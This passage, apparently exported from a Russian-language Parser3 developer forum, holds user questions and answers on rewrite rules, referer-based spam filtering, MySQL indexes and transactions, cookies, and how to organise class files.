include_once \"dr.php\";\
echo(CLXShowCodRotator(0,0));\
?>\
\
Как же мне быть в данной ситуации?\
Заранее благодарен за ответ."
"55162","Читаете про postprocess. В постпроцессе с помощью рег. выражений (match) находите нужные вызовы, узнаете полный путь к файлам относительно веб-корня и далее как в приведенной ссылке."
"55163","Про инклуды смотрите [url=\"http://www.parser.ru/forum/?id=55162\"]мой ответ ниже[/url].\
\
Про поиск: http://www.parser.ru/forum/?id=54210 (кратко: короткие слова не попадают в индекс...). << P. S. Misha, это все-таки очень грустно :("
"55164","Это печально. \
Приходится извращаться, заменяя 1 строку на SSI десятками на Парсере :(("
"55165","на parser.ru и ещё на одном сайте (там возникла проблемма спама) посмотрел логи добавляемых сообщений и увидел, что спамеры добавили очередную фичу: они стали передавать \"почти честного\" referer-а. почему \"почти\"? потому что в качестве него они передают адрес страницы нашего сайта, но т.к. они в общем не знают всего об этом сайте, то в качестве реферер-а выступает сама страница куда постится форма. можно ловить :)\
\
в качестве примера - parser.ru:\
\
1. страница с формой добавления сообщения:\
http://www.parser.ru/forum/message.html\
на неё могут придти или с пустым referer (если броузер не передает) или с http://www.parser.ru/forum/, но ни как не с другим (они передавали http://www.parser.ru/forum/message.html ). пришли с другим - good buy my love good buy ($response:status[404], $response:location[/404/])\
\
2. страница куда постятся данные:\
http://www.parser.ru/forum/message.html (в общем тот-же url)\
на эту страницу с POST могут придти или с пустым referer (см. выше) или если в referer - страница с формой (http://www.parser.ru/forum/message.html). в противном случае - \"до свидания\" (аналогично п.1)\
\
в общем ждем когда они начнут запоминать совсем честных реферер-ов, обновят свои базы, а потом будем динамически менять рефереров :)"
"55166","на самом деле ничего печального. я не понимаю вашего желания иметь на одном сайта SSI + php + парсер причем таким образом, чтобы одна страница генерилась с использованием всех трех технологий."
"55167","Вот проблема как раз в том, что этот код нужен всего для 1 страницы. Главной.\
Вызывается код рекл. брокера clx. У него там все просто, а мне придется создавать для этого методы, которые отлавливают переменные и пр.\
Все-таки жаль, что SSI нет возможности вызвать :("
"55169","и на парсере требуется не \"десятки\" строк, а две.\
\
а вообще я бы банер этот в iframe засунул-бы."
"55170","По их правилам нельзя.\
Спасибо за Ваши ответы, все решилось проще :)))\
R. Averkov помог ссылкой в его 1 сообщении.\
Я просто упустил сначала одну возможность..."
"55171","Упустил сначала, там же можно через get передавать переменные.\
Спасибо за помощь."
"55172","[code]@i[i;hash][img]\
^try{\
	$img[^image::measure[$i]]\
	^img.html[^hash.union[$.alt[]]]\
}{\
	...\
}[/code]"
"55173","Пишу вот так\
\
RewriteEngine On\
RewriteOptions inherit\
RewriteCond	%{REQUEST_FILENAME}	!-f\
RewriteCond	%{REQUEST_FILENAME}	!-d\
RewriteRule ^([a-z]+)/$ /?page=$1\
\
Хочу чтобы все запросы перезаписывались, но был доступ к реальным папкам, но не срабатывает, все запросы просто перезаписываются. Как сделать правильно."
"55175","Я туплю, или у Миши класс dtf не правильно работает (^dtf:from882[]) дано:\
\
$pubDate[Mon, 21 Aug 2006 15:12:04 +0400]\
$date[^dtf:from822[^untaint{$pubDate}]]\
\
на\
$date.year $date.month $date.day\
выводит\
\
2006 8 4\
\
8-/"
"55176","странно, такой простой вариант даты вроде должен был разбираться.\
\
проверил у меня - все работает, т.е. создалась правильная дата, хотя у меня dtf.p поновее (проверил с тем, что в примерах - действительно косяк).\
\
надо будет обновить в ближайшее время."
"55177","Пробовал так =/"
"55179","[code]\
		^case[DEFAULT]{\
			<sup>Ошибка</sup>\
		}\
[/code]\
\
Вот же оно."
"55180","Буду ждать )"
"55182","фактически я внес подсказанные правки (+ кое что ещё, но это не касается данного метода)"
"55183","RewriteEngine On\
RewriteOptions inherit\
RewriteCond %{REQUEST_FILENAME} !-f\
RewriteCond %{REQUEST_FILENAME} !-d\
RewriteRule ^([a-z]+)$ /?page=$1 [QSA,L]"
"55184","Раздел \"Скачать\" практически не работает, скачиваются только некоторые файлы, исходники - вообще не скачиваются."
"55186","Просто интересно, способ имеет право на жизнь?\
1. Человек заходит на форму добавления. \
2. Ему тут же автоматом ставится кука с какой-нибудь строкой.\
3. Он вводит сообщение и давит кнопку отправки.\
4. Переходит на страницу обработки сообщения. Ему проверяется кука. \
Если кука есть:\
- Добавить сообщение в базу\
- Удалить куку\
_ Теперь, если у него нет куки.\
Если куки нет:\
- Сказать, чтобы не баловался."
"55187","например если вы сделаете на кнопке добавления сообщения double click, то после первого клика броузер не успеет получить от сервера ответ, в котором будут инструкции по удалению куки, соответственно второй запрос на сервер также пойдет с кукой.\
\
опять-же по моему это не сработает в случае Back, Forward (+repost)."
"55189","Ну, насчет Back цель пока не ставилась. Пока только от СЛУЧАЙНОГО F5."
"55191","...выдавал не равномерно числа (от 1 до 20)\
а скособоченно около N - почаще бы\
я понятно излагаю?"
"55192","Eсли принять &#956; за 0, а &#963;^2 за 1, то получится следующее:\
\
в Excel вбейте в ячейку A1 значение \"минус три\", в А2 = \"A1+0,1\" и так далее до получения значения +3, в столбец B1 формулу\
\
=(1/КОРЕНЬ(2*ПИ()))*EXP(-((A1*A1)/2))\
\
Постройте график по столбцу B, получите нормальное распределение в каноническом виде. Дальше уже думайте, как вы будете это применять..."
"55193","тот пример, что с хешами?\
Для меня он несколько сложен.\
А по части этого способа - я хотел только узнать мнение. Спасибо."
"55196","маленький глюк форума- вставлял в реплику греческие буквы, а они вывелись как entities."
"55197","Возьмём результирующий SQL-запрос из \"[url=http://www.parser.ru/examples/news/]Новостного раздела для чайников[/url]\" для вывода списка статей за определённый месяц:\
\
[code]\
SELECT\
		article_id AS id,\
		title,\
		lead,\
		dt\
	FROM\
		article\
	WHERE\
		article_type_id = 1 AND\
		is_published = 1 AND\
		dt_published <= now()\
		AND dt >= '2006-08-00' AND dt <= '2006-08-31'\
	ORDER BY\
		dt DESC\
[/code]\
\
...и заглянем в EXPLAIN. Вроде бы, всё в порядке, индекс используется. Но почему значение rows почти равно количеству всех записей в таблице, а не количеству новостей за последний месяц?\
\
[url=http://forums.mysql.com/read.php?24,23827,23890#msg-23890]Просвещаемся[/url] и понимаем, что из-за dt_published <= now() условие dt >= '2006-08-00' просто-напросто игнорируется индексом и применяется [i]после[/i], что не есть хорошо.\
\
Если выкинуть из индекса столбец dt_published (много ли у нас новостей, запланированных на будущее?), ситуация намного улучшается: с помощью индекса выбираются все статьи за месяц, и к ним применяется dt_published <= now().\
\
Но совсем отказаться от dt_published в индексе нельзя, он используется в запросе для вывода календаря.\
\
Выход: разбить описанный в статье индекс на два: (article_type_id,is_published,dt_published) и (article_type_id,is_published,dt) и помнить, что в многостолбцовых индексах необходимо очень осторожно использовать интервальные условия на значения разных столбцов."
"55198","http://ru.wikipedia.org/wiki/%D0%9D%D0%BE%D1%80%D0%BC%D0%B0%D0%BB%D1%8C%D0%BD%D0%BE%D0%B5_%D1%80%D0%B0%D1%81%D0%BF%D1%80%D0%B5%D0%B4%D0%B5%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5\
это по русски про нормальное"
"55199","т.е. график будет близок к горизонтальной прямой."
"55200","Может я и ошибаюсь, но ИМХО так и задумывалось..."
"55201","Если я вставил в текст \"&Uuml;\" - в тексте реплики должно отобразиться \"&Uuml;\"\
\
Если я запускаю charmap.exe, нахожу там этот символ (Unicode: 00DC), вставляю его в реплику, от и отобразиться он должен символом (u с двумя точками) а не как цифровая entity: &#220;"
"55203","броузер не передает на сервер букву, которой нет в кодировке, используемой для обмена данными. он сам перекодирует её в &#XYZ;\
\
т.е. на сервер придет &#XYZ; вне зависимости от того, набрал ли ты это ручками в textarea или написал там символ, которого нет в используемой кодировке. т.е. на сервере отличить одно от другого я не могу => могу или выводить их как коды/ентити или как символы, которые они представляют.\
\
но специфика данного форума такова, что я считаю отображение кодов/ентитей, а не символов которые их представляют более правильным. так что извини :)\
\
P.S. изменение $response:charset на UTF-8 не предлагать."
"55204","можно прислать нам patch -u, дело пойдёт быстрее!"
"55206","PAF может, конечно, опять поругаться и отправить в библиотеку, но каждый из нас, не найдя ответа на свой вопрос в литературе, спрашивает его у других людей. А так как этот форум мне ближе всего к серцу, я спрашиваю тут:\
\
1) Что лучше, хранить большие объемы данных в БД и потом вынимать их, почти не обрабатывая, или наоборот снижать объем данных, но потом нагружать MySQL и парсер.\
[i]Например: есть адрес http://www.parser.ru/forum/?author=Misha%20v.3&doSearch=do,\
хранить\
и адрес (http://www.parser.ru/forum/?author=Misha%20v.3&doSearch=do),\
и путь (/forum/),\
и запрос (author=Misha%20v.3&doSearch=do)\
или хранить тока адрес, но потом в запросах писать функции обработки строк?[/i]\
Я понимаю, что все зависит от ситуации, но, если не трудно, приведите примеры, пожалуйста.\
\
2) Как считаете,по опыту, какие задачи лучше возлагать на MySQL, а что лучше делать парсером при  обработке таблиц данных?"
"55207","нужно записать [code]$cookie:lang[$lang][/code] на два домена [i]domain.com[/i] и [i]secure.domain.com[/i]\
я делаю:\
[code]$cookie:lang[\
	$.value[$lang]	\
	$.domain[secure.domain.com]\
]\
$cookie:lang[\
	$.value[$lang]	\
	$.domain[domain.com]\
][/code]\
в результате куки записываетс только с последним доменом"
"55209","Возьмём другой пример - форум.\
\
Реплики добавляются редко, а вынимаются часто (читателей больше, чем писателей). Поэтому можно сделать избыточные столбцы в базе, которые облегчат создание дерева реплик при выводе. При добавлении реплики выполняются \"тяжёлые\" операции, зато вывод делается быстрее. Т.е. тяжёлую работу перекладываем на базу, парсер при выводе делает один простой и быстрый select.\
\
Обратный пример - дерево страниц сайта. Меняется нечасто, поэтому нечего мудрить, делаем работу парсером, результат кешируем.\
\
В общем, секундомер вам в руки, статистику обращений и вперёд, считать, что вам дороже: секунды задержек или мегабайты дискового пространства (за котоыре надо платить хостеру $$$)"
"55210","1. лучше хранить структурированные данные. про ваш пример сказать ничего конкретного нельзя, все зависит от того, что эта строка (url) из себя представляет. если делаете список ссылок на внешние ресурсы - то разбивать url на протокол, сервер, порт, uri и query незачем. более того я с ходу не смог придумать ситуацию, когда подобную строку стоило бы хранить в разбитом виде.\
\
2. для хранения данных предназначены БД (базы данных). хранить данные надо в структурированном виде. проектировать БД надо с небольшим запасом на будущее (а не на столетия вперед, которые могут и не наступить)."
"55211","Знаю, что задача самая простая, но под конец рабочего дня никак не могу решить ее, а надо выполнить план.\
\
Есть записи в БД с полем order_position - порядковый номер, определяющий номер записи при выводе списка записей. Вот при добавлении новой записи есть возможность выбора позиции - после 1-ой записи, после 2-ой записи и т.д.\
\
Задача - как прописать правильно порядковый номер, если такой номер уже есть?\
Т.е. алгоритм примерно такой:\
1. пришел запрос на 3-ью позицию.\
2. если такая позиция уже есть, нужно сместить запись с третьей позиции на 4, и добавить новю запись с позицией 3.\
\
Тут нужно организовать рекурсию, т.к. у смещаемой записи новая позиция, на которую смещается запись - может быть занята. Ее тоже надо сместить, и так до последней позиции.\
\
@reorder[position]\
$record[^pSQL.table{\
	SELECT\
		order_position\
	FROM\
		groups\
	WHERE\
		order_position = $position\
}]\
^if($record){\
	^reorder[^eval($position - 1)]\
	$result[^pSQL.void{\
		UPDATE\
			groups\
		SET\
			order_position = $position\
		WHERE\
			order_position = ^eval($position - 1)\
	}]\
}\
\
такой вариант прописывет во всех строках последнюю позицию.\
\
Подскажите как нужно правильно сделать? Туплю неимоверно..."
"55212","[code]UPDATE\
	table\
SET\
	order_position = order_position + 1\
WHERE\
	order_position > 3\
	AND (дополнительное условие чтобы понятно было с каким набором записей работаем)[/code]"
"55214","конкретно для отрезка 1..20, включая концы\
выбирается возрастающая функция f(x), например, f = х*х\
создается массив p[i], индекс меняется от 0 до 20\
массив заполняется значениями p[i] = f(i) = i*i\
\
0 1 4 9 16 .. 361 400 (всего 21 элемент массива)\
\
случайно генерируется число r от 1 до 400, например, выпало r = 7\
массив просматривается и находится интервал (i-1, i], (левая граница не входит, правая входит) в который попало случаное число r\
в качестве искомого числа берется индекс правой границы диапазона\
\
i будет случайным числом, которое 'почаще принимает значения ближе к правому краю отрезка 1..20'\
1 выпадает в 1 случае из 400,\
20 выпадает 40 случаях из 400"
"55217","где можно взять список зарезервированных слов Parser?\
\
Этот список понадобился для обучения моего любимого редактора - HTMLPad Fisherman подсветке синтаксиса Parser-a.\
\
Возможно это уже быол сделано до меня или кто-то настоятельно порекомендует другой редактор? Буду безмерно признателен в любом случае. %)"
"55218","Возьмите файл подсветки, например, для UltraEdit и посмотрите."
"55219","Приветствую :)\
\
Я пользуюсь программой notepad++ уже довольно долго. Она меня всем устраивает. Вот только не нашел я схем подсветки код Parser. Есть ли такие? Если нет, то может посоветуете редактор, не уступающий notepad++?"
"55221","...редактор позволяет делать произвольные системы подсветки синаксиса. Когда сделаете киньте ссылку в форум - думаю кому-нубудь понадобится."
"55223","в таблице users есть поле\
rule int которое может быть либо null либо уникальное.\
когда пользователь авторизуется выполняется код\
\
[code] $rule(^int:sql{select max(rule)+1 from users}[$.default{0}])\
 ^if($rule<10000){$rule(10000)}\
 ^void:sql{update users set rule='$rule' where login='$user'}[/code]\
проблема в том что у пользователей иногда получаются одинаковые значения rule.\
как это можно избежать с помощью транзакции? версия мускл 4.0.27"
"55224","Еще кажется удобен NVU в плане того, что есть Portable версия (в тех случаях, когда на компьютере установлен Windows)."
"55225","LOCK TABLES/UNLOCK TABLES в MySQL\
^file:lock в Parser"
"55228","^math:uid64 поможет."
"55230","вот так вроде бы работает:\
\
[code] ^void:sql{begin}\
 $rule(^int:sql{select max(rule)+1 from users for update}  [$.default{0}])\
 ^if($rule<10000){$rule(10000)}\
 ^void:sql{update users set rule='$rule' where login='$user'}\
 ^void:sql{commit}[/code]"
"55232","http://redqua.org/projects/aliviar/\
\
Скоро я выложу исходные коды. В ближайший месяц, я думаю…"
"55236","Сценарий ошибки определить не удалось.\
В my_classes.p:\
[code]\
@CLASS\
someclass1\
@auto[]\
$test(1)\
@CLASS\
someclass2\
@auto[]\
$test(1)\
[/code]\
В @auto[] auto.p пишу:\
^use[my_classes.p]\
\
И иногда случается, что $someclass2:test есть, а $someclass1:test отсутствует. Причем к появлению ошибки приводит изменение кода другого класса в совершенно другом файле.\
Однако ^someclass1:auto[], вызванный сразу после ^use[] ошибку исправляет. \
\
Parser 3.1.3, 3.1.4, 3.2.1 win32, freeBSD."
"55237","Можно идентифицировать сообщения не по первичному ключу, а по большому случайному числу (например, UID64). Это число сразу кладется в форму, и при повторной отправке последней попадает на место уже имеющейся записи (или же не попадает, а выдается сообщение об ошибке - как хотите). \
Да, кстати, можно и первичный ключ держать, используя его для вывода сообщений и построения деревьев (все ж он меньше...)"
"55238","Больше двух классов хранить в одном файле нельзя."
"55239","т.е. фактически, можно."
"55240","Максимальное количество нормально работающих описаний классов в одном файле - 6, при добавлении новых классов в конец начинают глючить те, что описаны первыми (т.е. на меньших строках).\
Если классов около 20, то у первых 14-и не будет выполняться @auto[], кроме того, возможны глюки с ^hashfile::open[]\
Если количество классов более 20-25, то перестают выполняться (исчезают) произвольные методы в MAIN."
"55241","В auto.p есть:\
[code]<meta name=\"keywords\" content=\"^page_keywords[]\">[/code]\
\
Для каждой html-страницы:\
[code]\
@page_keywords[]\
слово1 слово2 слово3\
[/code]\
\
Когда просматриваю код страницы в браузере, то отображается:\
[code]\
<meta name=\"keywords\" content=\"\
слово1 слово2 слово3\
\">\
[/code]\
\
А хотелось бы:\
<meta name=\"keywords\" content=\"слово1 слово2 слово3\">\
\
Помогите, пожалуйста."
"55243","Какой резон делать всё не так, как требует документация, зная, что это приводит к ошибкам в работе и что Paf это в любом следующем релизе может починить?"
"55245","жаль, при использовании множества файлов код усложняется."
"55246","Хочу как-то решить проблемку. Поискав по форуму понял, что задержку перед редиректом кроме как через $response:refresh не сделать. Но когда я в эту конструкцию подставляю файл, то зачем-то перезагружается вся страница. Вот как это у меня выглядит:\
\
$response:refresh[ \
   $.value[2] \
   $.url[http://$env:SERVER_NAME/mp3s/$tracks.mp3] \
]\
\
Либо нужно чтоб файл открывался для скачивания без перезагрузки страницы, либо в новом окне. А пауза нужна. Как это решить и есть ли другие рабочие варианты?"
"55247","Страница не обновляется (ура!), но пауза почему-то безмерно увеличивается. Уж думал ничего не произойдёт, потом раз! И предложили сохранить файл на диск. Почему так?"
"55250","спасибо %) действительно ступил..."
"55251","но файл предлагается для скачивания...\
это не то, что мне нужно :("
"55252","Я убрал подбрасывание файла на скачку и увидел такую картину:\
После клика по ссылке ничего не происходит то заданное количество секунд в ^sleep(), а потом грузится страница загрузки.\
^sleep() поставил в самом конце страницы, прямо перед редиректом на файл. Видимо его положение неважно. Попытался разбить на две страницы, вставив слип этот на вторую. Почему-то тот же эффект."
"55253","Огромное спасибо!\
то что нужно\
наверное тогда покатит и ^math.ceiling[^math.sqrt[^math.random[400]]]?"
"55254","Ну надо делать примерно так:\
index.html\
[code]\
^sleep(10)\
$response:location[http://http://$env:SERVER_NAME//get_music.html]\
[/code]\
\
get_music.html\
[code]\
$response:refresh[\
  $.url[http://$env:SERVER_NAME/mp3s/$tracks.mp3]\
]\
[/code]"
"55255","Возможно ли при помощи парсера извлекать из jpeg файла IPTC информацию (такие поля как caption, byline, credits и т.д.)?"
"55256","как загрузить файл, в имени которого содержится пробел?\
\
имя файла находится в переменной...\
пробел меняю на %20 - не идет.\
когда явно прописываю имя файла (не в переменной, а уже в конструкторе) - все, ок...\
\
где грабли?"
"55257","В парсере есть возможность EXIF...\
\
[url=\"http://www.parser.ru/docs/lang/imagemeasure.htm\"]http://www.parser.ru/docs/lang/imagemeasure.htm[/url]"
"55258","Есть структура\
\
/shop/department/1/\
/shop/department/2/  \
и т.д.\
можно ли сделать так, чтобы auto.p, который в директории \"department\" работал для его поддиректорий 1,2.. и т.д.\
или придется в каждую распихивать по автопишнику??\
\
спасибо!"
"55259","Если в department/auto.p прописан метод @a[],\
в department/1/auto.p - метод @b[],\
в department/2/auto.p - метод @c[],\
\
то в department/2/index.html вам будут доступны методы\
^MAIN:a[] и ^MAIN:с[], но недоступен ^MAIN:b[]"
"55260","Если файл, то причём тут \"%20\"?\
\
Покажите, пожалуйста, код."
"55261","Да, но только в данном случае MAIN не нужно писать, просто ^a[] и ^c[]"
"55262","единственное решение - внешняя консольная утилита"
"55263","перейдёте к активному использованию пользовательских классов - не понадобится избавляться от плохой привычки."
"55265","методы класса MAIN == операторы.\
операторы ищутся в первую очередь, _до_ методов класса.\
\
допустим у нас есть:\
1. /auto.p/@a[]\
2. class.p/@a[] + @b[]\
3. в class.p/@b[] написано: ^a[]\
\
в этом случае вызовется auto.p/@a[], а не class.p/@a[]. чтобы обратиться к class.p/@a[] нужно написать: ^self.a[]\
\
мне подобное поведение не нравится, однако сейчас это так.\
\
так что в подавляющем большинстве случаев $MAIN применительно к методам вообще не нужен. А к переменным... а глобальные переменные лучше вобще не использовать ;-)"
"55266","На той странице, где ссылка на index.html, ничего не меняется 10 секунд, затем выдаётся для скачивания файл (из get_music.html). Страница index.html никак в броузере не отображается при этом."
"55267","[code]\
$img[^table::create{name}]\
$txt[$cur.txt]\
#в $txt только текст и картинки, поэтому все что начинается на \"src\" можно считать картинками :)\
	$temp[^txt.match[src=\"(.+?)\"][gi]{^img.append{$match.1}}]\
	$temp[^txt.match[src='(.+?)'][gi]{^img.append{$match.1}}]\
	$temp[^txt.match[src=(.+?) ][gi]{^img.append{$match.1}}]\
\
^img.menu{\
$link[$img.name]\
$link[^link.match[ ][g]{%20}]\
$file[^file::load[binary;$link]]\
#\
... действия с файлом\
#\
}\
[/code]\
\
вся эта контрукция выдает 404 на строке загрузки файла...\
Причем только с именами файлов в которых есть пробелы....\
\
По идее все должно работать, не пойму в чем дело....\
\
P.S.: все картинки начинаются с http://"
"55268","Скорее всего, там вместо нормальной ссылки фигня какая-то, и все из-за последнего ^txt.match."
"55269","Не получается отправить почту с .masterhost средствами Parser. Использую метод mail:send и скачанный с сайта уже собранный cgi.\
\
Сначала в логах появлялась запись о том, что поле \"To:\" указано некорректно. Думал, что дело в настройках. Собрал интерпретатор PHP - он прекрасно отправляет почту. Посмотрел настройки и аналогично установил в конф. файле: SMTP - localhost, smtp_port - 25, /usr/sbin/sendmail -t -i -fphp-sender-**********.ru@undeliverable.masterhost.ru. Такой же эффект. Почту не шлёт.\
\
Прошу поделиться опытом (может кто уже сталкивался с подобным?), предположениями."
"55270","Я нашел прогу Exiv2 (http://www.exiv2.org/), она под все платформы есть. Но она выдает все данные скопом, вытащить конкретное поле нельзя. Если только потом регулярным выражением вытаскивать.\
А Кто нибудь сталкивался вообще с этой проблемой? Это необходимо при загрузке в галерею подготовленных фотографий, для автоматического заполнения полей описание, автор и т.д."
"55272","Вопрос разработчикам: Не планируется ли в ближайшее время добавить помимо работы с полями EXIF работу с IPTC данными?"
"55274","А вот интересно, насколько реально добавить фичу самому?"
"55275","У меня на мастерхосте в конфиге парсера вообще не определены параметры smtp-сервера. Всё отправляется.\
Возникает ошибка при $.from[\"name\" <e@mail>]\
Решается так: $.from[name <e@mail>]"
"55276","А можно причину проблемы? Почему требуется name?"
"55277","Попробуйте ^taint[uri][ вместо ^link.match\
% - тоже специальный символ."
"55280","не проверял ваш баг о двух @auto[] в одном .p в случае описания двух классов в одном файле, однако не считаю, что даже если он имеет место быть, это представляет большую проблему.\
\
и уже это никак не может вынуждать пользоваться глобальными переменными и/или операторами."
"55282","http://libiptcdata.sourceforge.net/"
"55283","обычно ничего указывать не требуется.\
\
указывать smtp нужно только на win. на *nix используется sendmail, который вкомпилен в бинарник в целях безопасности.\
\
в случае ne safe версии его можно переопределить в конфигурационном auto.p"
"55284","тогда единственная альтернатива - хранить по одному классу файлов. Как вы себе представляете 30 пользовательский файлов, из которых 10 подгружается при каждом запуске?\
\
Хотя нет, есть еще один вариант - один пользовательский класс для всех операторов и переменных. Но тогда в нем смысла нет."
"55285","N подгружаемых файлов это ничто по сравнению со всем остальным по времени работы и памяти (парсер имеет такую статистику, посмотрите).\
\
много операторов - это лишнее. операторы есть некоторые добавки к языку, которые вам очень нужны на многих проектах. все остальное по хорошему должно быть в классах.\
\
а полжить все \"глобальные\" переменные в отдельный класс (и назвать его config) - идея мне нравится.\
\
когда в одном файле один класс - это просто супер:\
- сразу понятно какой класс где искать (чтобы править)\
- править файл проще (новый метод можно добавлять в любое место файла, не надо искать к чему принадлежит этот текст\
- суммарный размер получается таким-же\
- проще использовать программы автоматического документировани\
\
P.S. у smalex-а есть проекты где количество классов составляет несколько _сотен_, и что?"
"55286","В документации к серверу я прочитал, что нужны строки:\
[code]AddHandler  parsed-html  .html\
Action      parsed-html  /cgi-bin/parser3.cgi[/code]\
В то же время локально они должны быть отключены.\
Можно ли это автоматизировать? Т. е. чтобы эти две строчки были активными только в Сети."
"55287","... осваивай C :) - вот Sanja v.2 подсказывает - http://www.parser.ru/forum/?id=55282"
"55288","Загрузка файлов все же проигрывает памяти. Я делал тесты на PIII/800/win2k/NTFS/5400rpm:\
1) самый быстрый - 100 операторов в одном файле.\
2) 100 операторов в 100 файлах - +80% нагрузки\
3) 100 операторов в 100 файлах в разных директориях с истользованием CLASS_PATh - + 140-200% относительно второго варианта. К счастью, CLASS_PATH можно создавать один раз, а потом кешировать, но все же...\
\
Кроме того, при превышении некоторого объема нагрузки на диск, глючат хешфайлы. Думал обойти, кладя классы в один файл - см. выше. Грабли.\
\
+ необходимость добавлять ^use[] почти перед каждым вызовом\
\
+ расставлять операторы случайным образом - дезорганизует программиста. А в некоторых текстовых редакторах можно настроить директиву @CLASS как заголовок, и он будет отображаться в статусной строке на всем протяжении кода класса. Не пробовал за ненадобностью.\
\
P.S. Это Sikoz, я наконец-то смог зарегиться после правки форума."
"55289","Грамотные люди как-то этого избегают, но я не знаю, как - надо бы серверные ответы в raw посмотреть.\
А пока - только refresh."
"55290","кроме того можете сообщить конкретные цифры и общее время выполнения кода, повторное время загрузки и выполнения (про дисковый кеш ОС помним?)? \
\
если разница 0.001 и 0.01 (1000%) я все равно на неё смотреть не буду, т.к. все остальное измеряется в десятых секунды.\
\
и я не предлагал делать по одному файлу на оператор/метод.\
\
[quote]Кроме того, при превышении некоторого объема нагрузки на диск, глючат хешфайлы. Думал обойти, кладя классы в один файл - см. выше.[/quote]\
\
преждевременная оптимизация - корень всех зол. хешфайлы от этого глючить не должны. они могут глючить если код выполняется долго (например запустился из cron, открыл hashfile и работает 30 минут. ежу ясно что в т.к. у нас нет явного закрытия hashfile то это в время никакой другой процесс поработать с hashfile не сможет).\
\
есть глюки - опишите, приведите код, версию ОС и парсера. в конечном счете откажитесь от hashfile если они не работают нормально на вашей ОС. выбранный вами обход - неверный, вы просто закапываете проблемму, она вылезет позже, когда вы её ждать не будете."
"55291","Пишете в .htaccess:[code]<IfModule !parser3_module>\
	AddHandler	parsed-html	html\
	Action	        parsed-html	/cgi-bin/parser3/parser3.cgi\
</IfModule>\
<IfModule parser3_module>\
	AddHandler	parser3-handler	html\
</IfModule>[/code]На локальном сервере ставите Parser в виде модуля апача, не CGI.\
\
У провайдера модуля не установлено, потому сработает условие \
<IfModule [i][b][color=\"#ff0000\"]![/color][/b][/i]parser3_module> - и там подключится CGI.\
\
Не тестировал, писал \"из головы\" - но должно работать"
"55292","Я понимаю, что отсутствие объяснения проблемы не гарантирует ее правильного решения. Итак, ключи есть: ХФ закрывается при:\
- отсутствии обращений к нему за какое-то время (1-2 сек)?\
- или же всегда через какое-то время после открытия? Последнее маловероятно, т.к. на тестах он может писаться по 20-30 сек.\
\
Теперь о методике тестирования. Я действовал тупо, зато приближено к реальности: парсерный код в цикле в обычных условиях. Что до дискового кэша, так он есть и в тесте, ив обычных условиях работы программы. i подбиралась такая, чтобы вызвать заметный прирост показателей в системном мониторе. \
При сопостоавимой нагрузке для теста на 10 файлах i = 14000, для сравнения 10 простых запросов к mysql (SELECT a,b,c from table) при, конечно же, кэшированном соединении, ->  i=3000.\
 \
Т.е. нагрузки сопоставимые. Вызов типовой страницы на сайте у меня требует 3 запроса (2 выборки по ключу и 1 left join(1row)) к БД и около 15 классов."
"55294","hashfile закрывается тогда, когда завершается обработка страницы.\
\
методику не совсем понял.\
если вы утверждаете, что делали кучу ^use[] в цикле, и у вас это занимает времени больше чем SQL запрос - то я не поверю в это пока не увижу своими глазами (zip с архивом, который я распакую, подключу и увижу мне в почту). \
\
плюс вспомним, что подключение файлов с помощью ^use[] парсер кеширует, т.е.:\
^use[file.p]\
^use[file.p] - тут парсер ничего делать не будет.\
\
про замеры времени, потраченные парсером на считывание файлов: http://www.parser.ru/docs/lang/statusrusage.htm\
\
[quote]stime (секунда) - Время, сколько система читала ваши файлы, каталоги, библиотеки[/quote]\
\
крутняк?\
\
и тестировать нужно не на тех задачах, которые вы считаете \"реальными\", а на тестах, которые делают минимум действий, чтобы побочные действия не вносили ошибок (и часто существенных).\
\
до предоставления тектов я прекращаю эту демагогию (извините, но цифры надо показывать и подтверждать)."
"55295","[quote]+ необходимость добавлять ^use[] почти перед каждым вызовом[/quote]\
\
если вам это так нравится можете подключить их разом в том-же корневом auto.p только смысл? вы используете все классы на каждой странице? лично я - нет. зависимости классов у меня вынесены в сами классы. если класс b используется классом a, то в a.p у меня написано:\
[code]@CLASS\
b\
\
@USE\
a.p[/code]\
\
по моему это логично и правильно. более того так экономится память (которую вы вроде хотите экономить), т.к. не подключается то, что не нужно для генерации даннной страницы.\
\
[quote]+ расставлять операторы случайным образом - дезорганизует программиста.[/quote]\
\
возможно, но лично мне пофигу в какой строке файла у меня написан метод @a[] и в какой - @b[]. кроме того я не придумал методику упорядочивания методов в классе. расскажите свою? и мой редактор показывает мне список методов в активном файле и я могу перейти на интересующий меня метод одним кликом, или воспользоваться волшебной комбинацией Ctrl+F. читать текст и искать метод по его положению в тексте класса или относительному расположению относительно других методов я не считаю правильным."
"55296","Конечно, не ^use[], а ^file::load[]\
\
+ я говорил о реальных условиях, а не задачах, не надо передергивать. Реальное условие - то, что файл берется парсером, и OS сконфигурирована обычно. А задача как раз максимально упрощена.\
\
[code]\
$my_clpath[^table::create{path\
/dir1/\
/dir2/\
/dir3/}]\
Следующие 2 фрагмента клались в большой цикл:\
1 (+90%).\
^for[i](1;10){\
$f[^file::load[/test${i}.dat]] //1кб\
}\
2 (+150%). \
^for[i](1;10){\
$f[^file::load[^clpath[test${i}.dat]]] //1кб\
}\
@clpath[name]\
$found(0)\
^my_clpath.menu{\
 ^if(!$found && -f \"$my_clpath/$name\"){$found(1)$result[$my_clpath/$name]}\
}\
^if(!def $result){$result[/test1.dat]}\
[/code]\
\
А rusage интересен только при загрузке больших файлов."
"55297","В принципе, согласен. 10 постоянно используемых можно вызвать в auto.p, а остальные и так приходится подключать. А последнее немного раздражает. Когда-то давно я хотел добавить загрузку класса (при его отсутствии) в @unhandled_exception:) \
\
Операторы группирую по обычной последовательности исполнения (@string2hash -> @hash2sql -> @hash2string) или по сходным методам/объектам (htmlGenerators / businessLayers / sqlLayers)"
"55298","[quote]я говорил о реальных условиях, а не задачах, не надо передергивать.[/quote]\
\
вы говорили так:\
[quote]Я действовал тупо, зато приближено к реальности...[/quote]\
\
не было ни слова ни об условиях ни о задачах, тем не менее по моему это ни на что не влияет.\
\
[quot]Следующие 2 фрагмента клались в большой цикл:[/quot]\
\"большой\" - это сколько это реальная задача? цифру в секундах пожалуйста загрузки реального количества файлов для _реальной_задачи_ (ну... допустим 300 файлов с классами вам хватит?).\
\
[code]2 (+150%). \
^for[i](1;10){\
$f[^file::load[^clpath[test${i}.dat]]] //1кб\
}\
@clpath[name]\
$found(0)\
^my_clpath.menu{\
 ^if(!$found && -f \"$my_clpath/$name\"){$found(1)$result[$my_clpath/$name]}\
}\
^if(!def $result){$result[/test1.dat]}[/code]\
\
